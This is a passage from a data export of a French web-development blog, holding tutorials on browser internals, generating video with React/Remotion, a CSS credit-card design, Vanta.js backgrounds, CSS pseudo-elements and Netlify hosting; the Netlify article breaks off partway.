chargés pendant cette partie ne peuvent pas encore avoir au corps de la page**, car ce dernier n'existe pas encore.\n\n> En général c'est à ce moment que l'on charge une partie des styles CSS afin que le contenu généré dans le corps de la page soit déjà stylisé lorsqu'il sera chargé.\n\nUne fois le corps du document chargé, **il passera dans le moteur de rendu du navigateur afin de pouvoir être présenté à l'utilisateur.**\n\n### Chargement des dépendances de la page\n\nPour chaque appel à une dépendance externe (image, feuille de style, script,...), le navigateur effectuera un nouvel appel HTTP, et **chaque dépendance sera injectée (et éventuellement exécutée) dans le document HTML.**\n\n**C'est une fois que ces appels sont terminés que l'on considère le chargement de la page \"terminé\"**, mais on ne sait jamais si un script ne va pas injecter dynamiquement une nouvelle dépendance à aller chercher !\n\n### Gestion du cache\n\n### Interprétation, exécution et compilation des scripts\n\nEn plus du moteur de rendu, chaque navigateur est composé d'**un moteur Javascript** qui va :\n\n* **récupérer** chaque script (sous forme de texte)\n* le passer dans un interpréteur syntaxique pour le **transformer en code exécutable**\n* **Exécuter** chaque script\n* **Analyser l'exécution** de ces derniers afin d'ajouter une **compilation JIT** (Just In Time)\n\n> Pour plus de détails sur le fonctionnement de la compilation Just In Time, je vous conseille de [lire cet article](https://blog.bitsrc.io/the-jit-in-javascript-just-in-time-compiler-798b66e44143) (en anglais).\n\n## Et plus encore\n\nJe n'ai pas parlé de l'analyse et de l'exécution du CSS et de ses animations, du cycle de rafraichissement du rendu de la page (repaint), et de bien d'autres choses, mais **l'idée ici était de vous donner un aperçu du fonctionnement d'un navigateur web.**\n\n","Tout le monde sait se servir d'un navigateur, mais savez-vous comment ça fonctionne réellement ?","comment-fonctionne-un-navigateur-web-version-technique","2021-05-25T06:08:36.000Z","2023-10-24T17:49:24.734Z","2021-05-25T13:56:49.000Z","https://cellar-c2.services.clever-cloud.com/content/2021/05/chris-ried-bN5XdU-bap4-unsplash-1.jpg","Chris Ried sur Unsplash","https://unsplash.com/@cdr6934?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText",{"id":1643,"title":1644,"content":1645,"socialTitle":8,"description":1646,"socialDescription":8,"slug":1647,"createdAt":1648,"updatedAt":1649,"publishedAt":1650,"styleHead":8,"scriptFooter":438,"seoTitle":8,"seoDescription":8,"legacyCover":1651,"coverCopyright":1652,"coverCopyrightLink":1653},259,"Comment générer des vidéos avec React et Remotion","Vous avez peut-être déjà vu passer l'article dans lequel je vous explique comment \"[générer un pdf en NodeJS à partir d'une application web](https://code-garage.fr/blog/tutoriel-generer-un-pdf-en-nodejs/)\", mais aujourd'hui on saute d'un cran en **générant directement une vidéo à partir d'une application React !**\n\n## Remotion\n\nRemotion est une bibliothèque basée sur React et permettant de réaliser des vidéos à partir de code Javascript, incluant **la gestion de scènes, d'animations et intégrant même un visionneur directement dans le navigateur.**\n\nPour créer un nouveau projet Remotion, c'est très simple, il vous suffit d'ouvrir votre invité de commandes et de taper :\n\n```\nnpm init video\n```\n\nVous aurez alors un projet d'exemple Remotion à disposition, avec des animations et plusieurs séquences pour découvrir le fonctionnement de la bibliothèque.\n\n> Je vous invite à aller lire [**la documentation officielle**](https://www.remotion.dev) en parallèle de la création du projet, notamment pour les questions liées à FFMPEG.\n\n### Exemple\n\nSi l'exemple fourni par Remotion est très complet, **je voulais vous proposer une version la plus minimale possible d'une séquence** pour que vous puissiez voir ce que l'on peut faire avec très peu de code :\n\n```\nimport {Sequence, useCurrentFrame, useVideoConfig} from 'remotion';\nexport const HelloWorld: React.FC\u003C{}> = () => {\n const frame = useCurrentFrame();\n const videoConfig = useVideoConfig();\n const str = 'console.log(\"Hello World.\");'.substr(0,Math.round(frame/3));\n return (\n \u003CSequence\n from={0} \n durationInFrames={videoConfig.durationInFrames}\n >\n \u003Cdiv style={{\n display: \"flex\", \n flex: 1, \n flexDirection: \"column\", \n backgroundColor: 'white', \n alignItems: \"center\", \n justifyContent: \"center\", \n textAlign: \"center\"\n }}>\n \u003Cp style={{fontSize: 60}}>{str}\u003C/p>\n \u003C/div>\n \u003C/Sequence>\n );\n};\n```\n\nLe but de la séquence ci-dessus est **uniquement d'afficher un texte lettre par lettre en plein milieu de l'écran** (une lettre toutes les trois images) en utilisant le hook \"useCurrentFrame()\" fourni par Remotion et autour duquel s'articulent toutes les séquences.\n\n### Résultat\n\nLe code étant très simple, le rendu de la vidéo l'est tout autant. Une fois que votre séquence fonctionne, **vous pouvez l'exporter** en utilisant la commande :\n\n```\nnpm run build\n```\n\nEt voici le résultat !\n\n\u003Ciframe width=\"200\" height=\"113\" src=\"https://www.youtube.com/embed/rWfO-B7rXoc?feature=oembed\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture\" allowfullscreen=\"\">\u003C/iframe>\n\nSi le rendu est vraiment minimaliste, **l'exploit d'arriver à utiliser la puissance du DOM et du moteur de rendu HTML/CSS est vraiment impressionnant** et offre des perspective intéressantes sur le long terme !\n\n### Code source\n\nVous pouvez retrouver tout le code source de l'exemple directement sur GitHub à l'adresse : [https://github.com/NicolasBrondin/basic-react-video](https://github.com/NicolasBrondin/basic-react-video)\n\n::: bookmark\n[![](https://opengraph.githubassets.com/62a12a668d6cad166253162f11e156fffe01bca5e36b852fde93c6f69a3e2002/NicolasBrondin/basic-react-video)NicolasBrondin/basic-react-video](https://github.com/NicolasBrondin/basic-react-video)\n:::\n\nEt je vous invite surtout à consulter le site officiel pour plus d'informations :\n\n::: bookmark\n[![](https://remotion.dev/img/social-preview.png)Write videos in React | Remotion](https://www.remotion.dev/)\n:::\n\n","Qui s'attendait à voir React débarquer dans la vidéo ? Pas moi !","comment-generer-des-videos-avec-react-et-remotion","2021-06-10T21:19:36.000Z","2023-09-19T15:05:41.838Z","2021-06-11T07:19:06.000Z","https://cellar-c2.services.clever-cloud.com/content/2021/06/wahid-khene-iKdQCIiSMlQ-unsplash.jpg","Wahid Khene sur Unsplash","https://unsplash.com/@wahidkhene?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText",{"id":1655,"title":1656,"content":1657,"socialTitle":8,"description":1658,"socialDescription":8,"slug":1659,"createdAt":1660,"updatedAt":1661,"publishedAt":1662,"styleHead":8,"scriptFooter":438,"seoTitle":8,"seoDescription":8,"legacyCover":1663,"coverCopyright":8,"coverCopyrightLink":8},262,"Tutoriel - Créer une carte de crédit responsive en HTML/CSS","Voici un petit tutoriel assez simple pour améliorer sa maitrise d'HTML/CSS dans lequel je vous invite à reproduire une carte de crédit responsive et animée.\n\n> À noter que le tutoriel ne suit pas le principe DRY (Don't Repeat Yourself) pour garder des blocs de code clairs et détachables les uns des autres.\n\nVous trouverez tout le code nécessaire dans l'article, mais je vous invite à récupérer tout le projet directement sur [GitHub](https://github.com/NicolasBrondin/tutorial-css-credit-card) dans lequel vous trouverez les images ainsi que toutes les étapes, découpées fichier par fichier.\n\n::: bookmark\n[![](https://opengraph.githubassets.com/b3b80b7cc9d3e4056b6651e58e1f469b5573dfbe76ba681dcf47d1548245d4ef/NicolasBrondin/tutorial-css-credit-card)NicolasBrondin/tutorial-css-credit-card](https://github.com/NicolasBrondin/tutorial-css-credit-card)\n:::\n\nEt une démo du rendu final juste ici : [https://nicolasbrondin.github.io/tutorial-css-credit-card/](https://nicolasbrondin.github.io/tutorial-css-credit-card/)\n\n## Étape 0 : Le fond\n\n![](https://cellar-c2.services.clever-cloud.com/content/2021/06/Capture-d--cran-2021-06-18---09.40.21.png)\n\nFaire un fond un peu travaillé comme celui-ci ne demande pas des connaissances énorme et vous pouvez aller chercher un dégradé que vous appliquez à votre document html ainsi qu'un motif que vous appliquez au corps de votre page.\n\nPersonnellement j'ai utilisé [Hero Pattern](https://www.heropatterns.com) pour le motif et [UI Gradient](https://uigradients.com) pour le dégradé.\n\n### HTML\n\n```\n\u003C!DOCTYPE html>\n\u003Chtml>\n \u003Chead>\n \u003Cmeta charset='utf-8'>\n \u003Cmeta http-equiv='X-UA-Compatible' content='IE=edge'>\n \u003Ctitle>Tutorial - Credit Card\u003C/title>\n \u003Cmeta name='viewport' content='width=device-width, initial-scale=1'>\n \u003Clink rel='stylesheet' type='text/css' media='screen' href='./css/main.css'>\n \u003C/head>\n \u003Cbody>\n \n \u003C/body>\n\u003C/html>\n```\n\n### CSS\n\n```\nhtml {\n background: #009FFF; /* fallback for old browsers */\n background: -webkit-linear-gradient(to right, #ec2F4B, #009FFF); /* Chrome 10-25, Safari 5.1-6 */\n background: linear-gradient(to right, #ec2F4B, #009FFF); /* W3C, IE 10+/ Edge, Firefox 16+, Chrome 26+, Opera 12+, Safari 7+ */\n}\n\nbody {\n width: 100vw;\n height: 100vh;\n background-image: url('../img/graph-paper.svg');\n background-repeat: repeat;\n padding: 20px;\n box-sizing: border-box;\n margin: 0;\n}\n```\n\n## Étape 1 : La forme de la carte\n\n![](https://cellar-c2.services.clever-cloud.com/content/2021/06/Capture-d--cran-2021-06-18---09.40.37.png)\n\nDeux techniques intéressantes ici : l'utilisation de flex-box pour centrer facilement notre carte, ainsi que l'utilisation du padding-top en pourcentage pour garder toujours le même ratio sur notre carte.\n\nLorsque vous appliquez une taille en pourcentage à un padding-top, la taille sera calculée en fonction de la largeur de l'élément et non de sa hauteur, voilà pourquoi cela permet de garder un ratio facilement.\n\n### HTML\n\n```\n\u003Cdiv class=\"card-container\">\n \u003Cdiv class=\"card\">\n \n \u003C/div>\n\u003C/div>\n```\n\n```\nbody {\n ...\n display: flex;\n justify-content: center;\n align-items: center;\n}\n\n.card-container {\n background: #34495e;\n border-radius: 20px;\n width: 100%;\n max-width: 600px;\n position: relative;\n box-shadow: 0px 0px 10px 5px rgba(0,0,0,0.1); \n border-bottom: 6px solid #2c3e50;\n border-right: 6px solid #2c3e50;\n}\n\n.card {\n position: relative;\n padding-top: 60%;\n overflow: hidden;\n}\n```\n\n## Étape 2 : Les images\n\n![](https://cellar-c2.services.clever-cloud.com/content/2021/06/Capture-d--cran-2021-06-18---09.40.54.png)\n\nRien de complexe dans cette étape : Ajout, redimensionnement et positionnement des images avec des valeurs en pourcentage pour préparer le responsive.\n\n### HTML\n\n```\n\u003Cimg class=\"chip\" src=\"./img/chip.svg\"/>\n\u003Cimg class=\"contactless\" src=\"./img/wifi-signal.svg\"/>\n\u003Cimg class=\"visa\"src=\"./img/visa.svg\"/>\n```\n\n### CSS\n\n```\n.chip {\n position: absolute;\n top: 35%;\n left: 5%;\n height: 23%;\n}\n\n.contactless {\n position: absolute;\n top: 40%;\n left: 20%;\n height: 15%;\n transform: rotate(90deg);\n}\n\n.visa {\n position: absolute;\n bottom: 5%;\n right: 5%;\n height: 30%;\n}\n```\n\n## Étape 3 : Les 16 chiffres\n\n![](https://cellar-c2.services.clever-cloud.com/content/2021/06/Capture-d--cran-2021-06-18---09.41.07.png)\n\nIci l'utilisation de la propriété \"text-shadow\" permet de faire ressortir le texte et de donner un effet de volume, comme sur une vraie carte de crédit.\n\n### HTML\n\n```\n\u003Cp class=\"card-number\">0000 0000 0000 0000\u003C/p>\n```\n\n### CSS\n\n```\n.card-number {\n position: absolute;\n top: 50%;\n left: 5%;\n font-size: 2.5rem;\n font-family: sans-serif;\n color: white;\n text-shadow: 0px 0px 5px black;\n}\n```\n\n## Étape 4 : La flèche\n\n![](https://cellar-c2.services.clever-cloud.com/content/2021/06/Capture-d--cran-2021-06-18---09.41.23.png)\n\nPourquoi aller chercher une icône lorsque l'on peut directement dessiner un triangle en CSS en utilisant la technique des bordures ?\n\n> Notez qu'il existe aussi des [générateurs](https://www.fetoolkit.io/widget/css-triangle?gclid=CjwKCAjwiLGGBhAqEiwAgq3q_nDPlKONKZXLa3Om-u2jIwguz9m3XFHvB3fx6WezB3k3MFwEd6GW5BoCeWoQAvD_BwE) pour créer ces fameux triangles en CSS si vous désirez aller plus vite.\n\n### HTML\n\n```\n\u003Cdiv class=\"arrow\">\u003C/div>\n```\n\n### CSS\n\n```\n.arrow {\n position: absolute;\n top: 80%;\n left: 5%;\n width: 0; \n height: 0; \n border-top: 20px solid transparent;\n border-bottom: 20px solid transparent; \n border-right:17px solid white; \n}\n```\n\n## Étape 5 : Les informations supplémentaires\n\n![](https://cellar-c2.services.clever-cloud.com/content/2021/06/Capture-d--cran-2021-06-18---09.41.38.png)\n\nIci on utilise la propriété \"text-transform\" avec la valeur \"uppercase\" afin de passer en lettre capitales l'entièreté du texte, directement dans le CSS, c'est très pratique !\n\n### HTML\n\n```\n\u003Cp class=\"card-name\">M John Doe\u003C/p>\n\u003Cp class=\"card-expire\">Expire 05/23\u003C/p>\n```\n\n### CSS\n\n```\n.card-name, .card-expire {\n position: absolute;\n left: 10%;\n font-family: sans-serif;\n color: white;\n text-transform: uppercase;\n text-shadow: 0px 0px 3px black;\n}\n\n.card-name {\n top: 74%;\n font-size: 1.3rem;\n}\n\n.card-expire {\n top: 82%;\n font-size: 1rem;\n}\n```\n\n## Étape 6 : La banque\n\n![](https://cellar-c2.services.clever-cloud.com/content/2021/06/Capture-d--cran-2021-06-18---09.41.55.png)\n\nPasser l'affichage d'un texte de \"inline\" à \"inline-block\" induit que le texte ne prendra que la place dont il a besoin, sans s'étendre à l'infini en horizontal.\n\n### HTML\n\n```\n\u003Cp class=\"bank-name\">Bank 1337\u003C/p>\n```\n\n### CSS\n\n```\n.bank-name {\n margin: 0;\n display: inline-block;\n padding: 10px 20px;\n padding-left: 5%;\n position: absolute;\n top: 10%;\n left: 0;\n font-size: 1.5rem;\n font-family: sans-serif;\n color: black;\n font-weight: bold;\n background-color: white;\n min-width: 30%;\n border-top-right-radius: 50px;\n border-bottom-right-radius: 50px;\n}\n```\n\n## Étape 7 : Les décorations\n\n![](https://cellar-c2.services.clever-cloud.com/content/2021/06/Capture-d--cran-2021-06-18---09.48.10.png)\n\nL'idéal lorsque vous voulez dessiner quelque chose qui n'apporte aucune sémantique à votre page, c'est d'utiliser les pseudo-elements \"::before\" et \"::after\".\n\nCes derniers sont des éléments \"virtuels\", qui n'existent que si vous les déclarez en CSS, ils seront alors rattachés à votre élément de départ (dans cet exemple c'est la carte)\n\n### CSS\n\n```\n\n.card::before {\n content: \"\";\n position: absolute;\n display: inline-block;\n background-color: white;\n width: 50%;\n height: 5%;\n left: 0;\n top: 26%;\n border-top-right-radius: 50px;\n border-bottom-right-radius: 50px;\n opacity: 0.5;\n}\n\n.card::after {\n content: \"\";\n position: absolute;\n display: block;\n background-color: white;\n width: 200px;\n height: 200px;\n right: -75px;\n top:-75px;\n border-radius: 50%;\n opacity: 0.05;\n}\n```\n\n## Étape 8 : L'animation\n\n\u003Ciframe width=\"200\" height=\"113\" src=\"https://www.youtube.com/embed/e-AWqgdAdLg?feature=oembed\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture\" allowfullscreen=\"\">\u003C/iframe>\n\nUne méthode très simple pour animer un élément est de modifier certains de ces attributs lors d'un évènement (par exemple :hover) et d'appliquer une animation de transition sur l'élément au global.\n\n> Ici on joue sur le zoom, la rotation et le box-shadow pour donner un effet de lévitation.\n\n### CSS\n\n```\n.card-container {\n ...\n transition: 0.5s transform, 0.5s box-shadow;\n}\n\n.card-container:hover {\n transform: scale(1.1) rotate(3deg);\n box-shadow: 10px 10px 10px 5px rgba(0,0,0,0.3); \n}\n```\n\n## Étape 9 : Le responsive\n\nLa majorité de notre design est quasiment responsive, mais quelques éléments (notamment les textes) ont besoin d'un coup de pouce pour les plus petites tailles d'écran.\n\nComme nous avons utilisé des tailles en rem, nous pouvons simplement faire varier la taille de toutes les polices en modifiant cette de l'élément :root, comme ci-dessous :\n\n### CSS\n\n```\n@media screen and (max-width: 580px){\n :root {\n font-size: 12px;\n }\n .bank-name {\n padding: 8px 15px;\n }\n .arrow {\n border-top: 18px solid transparent;\n border-bottom: 18px solid transparent; \n border-right:15px solid white; \n }\n}\n\n@media screen and (max-width: 460px){\n :root {\n font-size: 10px;\n }\n .bank-name {\n padding: 5px 12px;\n }\n .arrow {\n border-top: 13px solid transparent;\n border-bottom: 13px solid transparent; \n border-right:11px solid white; \n }\n}\n\n@media screen and (max-width: 360px){\n :root {\n font-size: 8px;\n }\n\n .card-container {\n border-bottom: 3px solid #2c3e50;\n border-right: 3px solid #2c3e50;\n }\n\n .bank-name {\n padding: 3px 8px;\n }\n\n .arrow {\n border-top: 10px solid transparent;\n border-bottom: 10px solid transparent; \n border-right:8px solid white; \n }\n}\n```\n\nFélicitations, vous venez de re-créer de A à Z un design de carte de crédit entièrement en CSS, en ayant au passage appris l'utilisation de quelques attributs nouveaux !\n\n> J'espère que ce tutoriel vous aura été utile, et à bientôt sur le blog !\n\n","Découvrez des notions de CSS en reproduisant cette carte de crédit au travers d'un tutoriel détaillé.","tutoriel-creer-une-carte-de-credit-responsive-en-html-css","2021-06-18T07:34:29.000Z","2023-09-19T15:05:41.933Z","2021-06-18T13:24:59.000Z","https://cellar-c2.services.clever-cloud.com/content/2021/06/credit-card-tutorial.jpg",{"id":1665,"title":1666,"content":1667,"socialTitle":8,"description":1668,"socialDescription":8,"slug":1669,"createdAt":1670,"updatedAt":1671,"publishedAt":1672,"styleHead":1673,"scriptFooter":1674,"seoTitle":8,"seoDescription":8,"legacyCover":1675,"coverCopyright":8,"coverCopyrightLink":8},263,"Des animations interactives pour vos sites web","> Il y a quelques mois je vous parlais de la bibliothèque ThreeJS qui permet de créer des scènes et animations en Javascript [dans cet article](https://code-garage.fr/three-js-le-moteur-de-rendu-3d-pour-javascript/).\n\nAujourd'hui laissez-moi vous présenter [Vanta.js](https://www.vantajs.com/?effect=halo), **une bibliothèque basée sur ThreeJS et permettant de créer de jolis animations interactives** utilisables pour les fonds de vos sites web.\n\nCette bibliothèque s'occupe de :\n\n* Gérer le rendu et **les animations**\n* Se placer directement **en tant que background** de l'élément assigné\n* **Adapter la taille** de l'animation selon la taille de l'élément parent\n* Proposer des options de **personnalisation** (couleurs, taille, nombre d'éléments,...)\n* ...\n\nVoici un exemple de rendu par défaut de Vanta.js :\n\n:::custom graph\n:::\n \n**L'utilisation est très simple**, voici le script utilisé pour le rendu ci-dessus :\n\n```\n\u003Cscript src=\"https://cdnjs.cloudflare.com/ajax/libs/three.js/r121/three.min.js\">\u003C/script>\n\u003Cscript src=\"https://cdn.jsdelivr.net/npm/vanta@latest/dist/vanta.halo.min.js\">\u003C/script>\n\u003Cscript>\nVANTA.HALO({\n el: \"#vanta\",\n mouseControls: true,\n touchControls: true,\n gyroControls: false,\n minHeight: 200.00,\n minWidth: 200.00,\n size: 2.50\n})\n\u003C/script>\n```\n\nVous pourrez découvrir tous les rendus et **les options de personnalisation possibles** directement sur le site officiel :\n\n::: bookmark\n[![](https://www.vantajs.com/gallery/fb-share-image.jpg)Vanta.js - 3D & WebGL Background Animations For Your Website](https://www.vantajs.com/?effect=halo)\n:::\n\n![](https://cellar-c2.services.clever-cloud.com/content/2021/06/vanta.JPG)\n\n**Il faudra néanmoins faire attention car ThreeJS + VantaJS pèsent environs 600Ko (minifié, sans gzip)**, donc je vous inviterai à choisir cette solution uniquement si cela apporte vraiment quelque chose à vos réalisations et à ne pas en abuser car cela peut ralentir le chargement et le framerate de votre site...\n\nDe plus, certaines animations ne sont pas compatibles avec tous les appareils mobiles, pensez donc à **utiliser une couleur ou une image statique en fallback.**\n\n","Vous cherchez à ajouter ces fameux fonds animés et interactifs pour votre site ? Voici une bibliothèque faite pour ça !","animations-interactives-pour-vos-sites-web","2021-06-20T14:34:10.000Z","2023-09-20T06:45:52.061Z","2021-06-21T10:03:31.000Z","div.custom {\nmin-height: 350px;\nmargin-bottom: 20px;\n}","if(!window.THREE) {\n threeScript = document.createElement('script');\n threeScript.src = 'https://cdnjs.cloudflare.com/ajax/libs/three.js/r121/three.min.js';\n document.body.appendChild(threeScript);\n threeScript.onload = loadVanta;\n}\nelse {\n loadVanta();\n}\n\nfunction loadVanta(){\nif(!window.VANTA) {\n vantaScript = document.createElement('script');\n vantaScript.src = 'https://cdn.jsdelivr.net/npm/vanta@latest/dist/vanta.halo.min.js';\n vantaScript.onload = load;\n document.body.appendChild(vantaScript);\n}\nelse {\n load();\n}\n}\n\nfunction load(){\n \u003C!-- chart -->\nVANTA.HALO({\n el: \"div.custom\",\n mouseControls: true,\n touchControls: true,\n gyroControls: false,\n minHeight: 200.00,\n minWidth: 200.00,\n size: 2.50\n});\n}","https://cellar-c2.services.clever-cloud.com/content/2021/06/vantajs.jpg",{"id":1677,"title":1678,"content":1679,"socialTitle":8,"description":1680,"socialDescription":8,"slug":1681,"createdAt":1682,"updatedAt":1683,"publishedAt":1684,"styleHead":8,"scriptFooter":1685,"seoTitle":8,"seoDescription":8,"legacyCover":1686,"coverCopyright":1687,"coverCopyrightLink":1688},266,"Les pseudo-éléments ::before et ::after en CSS","Lorsque l'on fait de l'intégration web, il est parfois facile d'oublier que **chaque balise HTML vient avec une sémantique particulière**, et même si le juste milieu n'est pas évident à trouver, inonder une page de balise pour simplement arriver à intégrer un design correctement peut avoir des conséquences négatives, telles que :\n\n* **Donner une sémantique incorrecte aux outils d'accessibilité** numérique (lecteurs d'écrans par exemple)\n* **Augmenter drastiquement le ratio code/contenu**, impactant l'optimisation du référencement naturel\n\nPour optimiser cela, il faut séparer deux types d'objets web : le contenu véhiculant une information, et **les illustrations purement décoratives**.\n\nPar exemple une simple forme, une icône ou même **une image présente pour rendre l'interface jolie à regarder n'aura pas besoin d'être présente sous la forme d'un élément** directement intégrée dans la page, on utilisera donc deux pseudo-element particulièrement adaptés : ::before et ::after.\n\n## Les pseudo-éléments\n\nLes pseudo-éléments sont des sélecteurs en CSS qui permettent de **sélectionner une partie \"virtuelle\" d'un élément** qui n'est pas présent en tant qu'élément réel dans la page HTML.\n\n> On pense par exemple au sélecteur ::placeholder d'un champ de texte \u003Cinput/>\n\nMais il existe deux pseudo-éléments \"::before\" et \"::after\" qui ne cible pas une partie d'un élément existant, mais permettent en réalité de **générer ces éléments \"virtuels\" lors de l'interprétation du CSS uniquement**.\n\nUne fois déclarés, ces pseudo-éléments sont générés en tant qu'enfants directs de l'élément, **il ne peuvent donc pas être générés à l'intérieur d'éléments simples du type \u003Cimg/> ou \u003Cinput/> par exemple.**\n\n### La syntaxe\n\nPrenons un élément de texte assez simple que nous allons configurer pour être facilement ciblé avec notre sélecteur, comme ceci :\n\n```\n\u003Cp>\n Sa majesté, l'altesse royale :\n \u003Cspan class=\"has-crown\">Elisabeth II\u003C/span>\n\u003C/p>\n```\n\nAlors pour générer notre pseudo-élément, nous allons simplement devoir le cibler avec ::before, **lui assigner un contenu** et c'est à partir de ce moment-là qu'il sera généré et visible.\n\n> À noter : si vous souhaitez simplement dessiner avec un pseudo-élément sans lui assigner de contenu, vous devrez quand même indiquer son attribut **content:\"\"** sous peine que ce dernier ne soit pas généré ou pas visible.\n\n```\nspan.has-crown {\n position: relative;\n}\n\nspan.has-crown::before {\n content: \"\";\n position: absolute;\n display: inline-block;\n top:-12px;\n left: -8px;\n transform: rotate(-30deg);\n}\n```\n\nIci nous venons styliser notre ::before comme n'importe quel autre élément, en gardant en tête qu'**il sera inséré comme enfant du span.has-crown**, donc il ne se positionnera correctement en absolue que si son parent est lui-même en relatif.\n\nEt voilà le résultat :\n\nSa majesté, l'altesse royale : Elisabeth II\n\nSi vous ouvrez l'inspecteur web de votre navigateur, vous verrez que le pseudo-element est inséré comme dans l'exemple ci-dessous :\n\n```\n\u003Cp>\n Sa majesté, l'altesse royale :\n \u003Cspan class=\"has-crown\">\n ::before\n Elisabeth II\n \u003C/span>\n\u003C/p>\n```\n\n### ::before, ::after, quelle différence ?\n\n**Ces deux pseudo-éléments fonctionnent exactement de la même manière**, et la seule différence entre les deux réside dans leur placement par rapport aux enfants de l'élément en question.\n\nComme vous l'aurez deviné, **::before se situe toujours avant le premier élément enfant, et ::after après le dernier élément**, peu importe que des éléments soient retirés ou insérés dynamiquement en Javascript, ::before et ::after encadrerons toujours les autres enfants.\n\n> À noter que cette différence n'a d'impact que lorsque les pseudo-éléments sont positionnés de manière relative.\n\n### Pour aller plus loin\n\nSi vous voulez un exemple d'utilisation simple pour ajouter des éléments graphiques avec ::before et ::after, je vous invite à lire **[mon tutoriel sur le CSS avancé](https://code-garage.fr/blog/tutoriel-creer-une-carte-de-credit-responsive-en-html-css/)** dans lequel je les utilise.\n\nEt je vous invite à découvrir **les autres pseudo-elements disponibles en CSS** directement sur la documentation [MDN de Mozilla](https://developer.mozilla.org/en-US/docs/Web/CSS/Pseudo-elements) !\n\n","Savez-vous ce que sont les pseudo-elements et à quoi ils servent ?","les-pseudo-elements-before-et-after-en-css","2021-06-25T08:04:33.000Z","2024-01-08T15:13:51.559Z","2021-06-25T19:02:56.000Z","\u003Cstyle>\nspan.has-crown {\n position: relative;\n font-size: 24px;\n}\n\nspan.has-crown::before {\n content: \"\";\n position: absolute;\n display: inline-block;\n top: -16px;\n left: -9px;\n transform: rotate(-30deg);\n font-size: 18px;\n}\n\u003C/style>\n\n\u003Clink rel=\"stylesheet\"\n href=\"//cdnjs.cloudflare.com/ajax/libs/highlight.js/10.0.0/styles/atom-one-dark.min.css\">\n\u003Cscript src=\"//cdnjs.cloudflare.com/ajax/libs/highlight.js/10.0.0/highlight.min.js\">\u003C/script>\n\u003Cscript>hljs.initHighlightingOnLoad();\u003C/script>\n\u003Cstyle>.post-full-content code {font-weight: bold !important;}\u003C/style>","https://cellar-c2.services.clever-cloud.com/content/2021/06/kobu-agency-ipARHaxETRk-unsplash.jpg","KOBU Agency sur Unsplash","https://unsplash.com/@kobuagency?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText",{"id":1690,"title":1691,"content":1692,"socialTitle":8,"description":1693,"socialDescription":8,"slug":1694,"createdAt":1695,"updatedAt":1696,"publishedAt":1697,"styleHead":8,"scriptFooter":415,"seoTitle":8,"seoDescription":8,"legacyCover":1698,"coverCopyright":1699,"coverCopyrightLink":1700},270,"Héberger le front-end d'une application web avec Netlify","Lorsqu'il s'agit d'héberger une application front-end, **les solutions clouds sont souvent découpées en plusieurs services qu'il va falloir relier ensemble** et automatiser pour faciliter le déploiement. \n \n**On peut par exemple prendre l'exemple d'AWS où l'on va devoir utiliser 3 services indépendants :** S3 (stockage de fichiers + configuration du serveur web), Cloudfront (CDN) et ACM (Certificats SSL).\n\n> Si jamais vous souhaitez découvrir comment héberger un site statique avec AWS, j'ai [un tutoriel complet disponible ici](https://code-garage.fr/comment-heberger-un-site-statique-avec-ssl-sur-aws-s3-cloudfront/) !\n\nEt c'est sans compter sur le fait que **nous n'ayons même pas encore parlé d'automatisation et de CI/CD**, car la plupart du temps vous devrez configurer votre workflow vous même de manière externe...\n\n## Netlify, c'est quoi ?\n\n**[Netlify](https://app.netlify.com/signup) est un service cloud d'hébergement spécialisé dans l'automatisation du processus de déploiement** pour les applications web, un genre de service tout-en-un.\n\nCela signifie qu'à partir d'**un simple dépôt Git** hébergé chez GitHub, GitLab ou BitBucket, il vous est possible de déclencher automatiquement **votre phase de build**, de déployer votre application **derrière un CDN**, avec un nom de domaine et **un certificat SSL** (par défaut).\n\nEn résumé, cela vous permet d'automatiser l'hébergement de **n'importe quelle application React, Vue, Angular** et bien d'autres en poussant les mises à jours directement sur une branche spécifique de votre dépôt Git distant.\n\n> Est-ce que cela ne fonctionne qu'avec des applications front-end ?\n\nNon, mais c'est le plus souvent pour ce type de projets-là que la plateforme est utilisée. En plus **il y a un plan gratuit très intéressant qui vous permet d'héberger tous vos projets et vos prototypes en quelques clics !**\n\n## Comment faire ?\n\n### Étape 1 : Le dépôt Git\n\nLa première étape est d'utiliser GitHub, GitLab ou BitBucket pour héberger le versioning de votre code, car **Netlify va directement se connecter sur le dépôt distant (avec votre autorisation).**\n\nUne fois votre dépôt créé, poussez la dernière version fonctionnelle de votre application sur votre branche main (ou master) avant de commencer l'étape suivante.\n\n### Étape 2 : Créer un compte sur Netlify\n\nL'avantage sur Netlify, c'est que **la création de compte ne vous oblige même pas à entrer votre carte bancaire**, vous pouvez donc tester le service en tout tranquilité, sans avoir peur de vous réveiller avec un facture qui sort de nulle part.\n\n> Vous pouvez créer un compte avec votre e-mail, mais il est aussi possible de se connecter en un clic avec votre compte GitHub, GitLab ou BitBucket !\n\nVoici le lien pour s'inscrire : [**https://app.netlify.com/signup**](https://app.netlify.com/signup)\n\n![](https://cellar-c2.services.clever-cloud.com/content/2021/07/Netlify-0.JPG)\n\n### Étape 3 : Créer un nouveau site\n\nMême avec un plan gratuit, **il n'y a pas de restriction sur le nombre de sites que vous souhaitez déployer** (mais un nombre de minutes de builds et une bande passante maximum).\n\nPour continuer, cliquez sur le bouton en haut à droite \"New site from Git\" comme ci-dessous, et suivez le guide.\n\n![](https://cellar-c2.services.clever-cloud.com/content/2021/07/Netlify.JPG)\n\n**Vous devrez ensuite indiquez le service de versioning en ligne que vous utilisez**, vous serez alors amené à autoriser Netlify à s'y connecter pour pouvoir afficher la liste de vos dépôts.\n\nUne fois fait, sélectionnez le projet que vous souhaitez déployer pour passer à l'étape suivante.\n\n### Étape 4 : Configurer le CI/CD\n\nPour que Netlify puisse construire votre application avant de la déployer, il va falloir lui indiquer **la branche** que vous souhaitez utiliser, **la commande à exécuter** pour lancer le build, ainsi que **le répertoire dans lequel les fichiers de build seront disponibles**.\n\n![](https://cellar-c2.services.clever-cloud.com/content/2021/07/Netlify-2.JPG)\n\nLa plupart du temps **Netlify va réussir de lui même à sortir ses infos depuis votre package.json**, mais si votre build est configuré un peu différemment il faudra l'indiquer à la plateforme.\n\n### Étape 5 : Vérifier la phase de build\n\nUne fois le site configuré, **le premier build devrait se lancer automatiquement.**\n\nPour celui-ci et tous les builds consécutifs, vous pourrez avoir **accès aux logs en temps réel directement depuis la plateforme**. 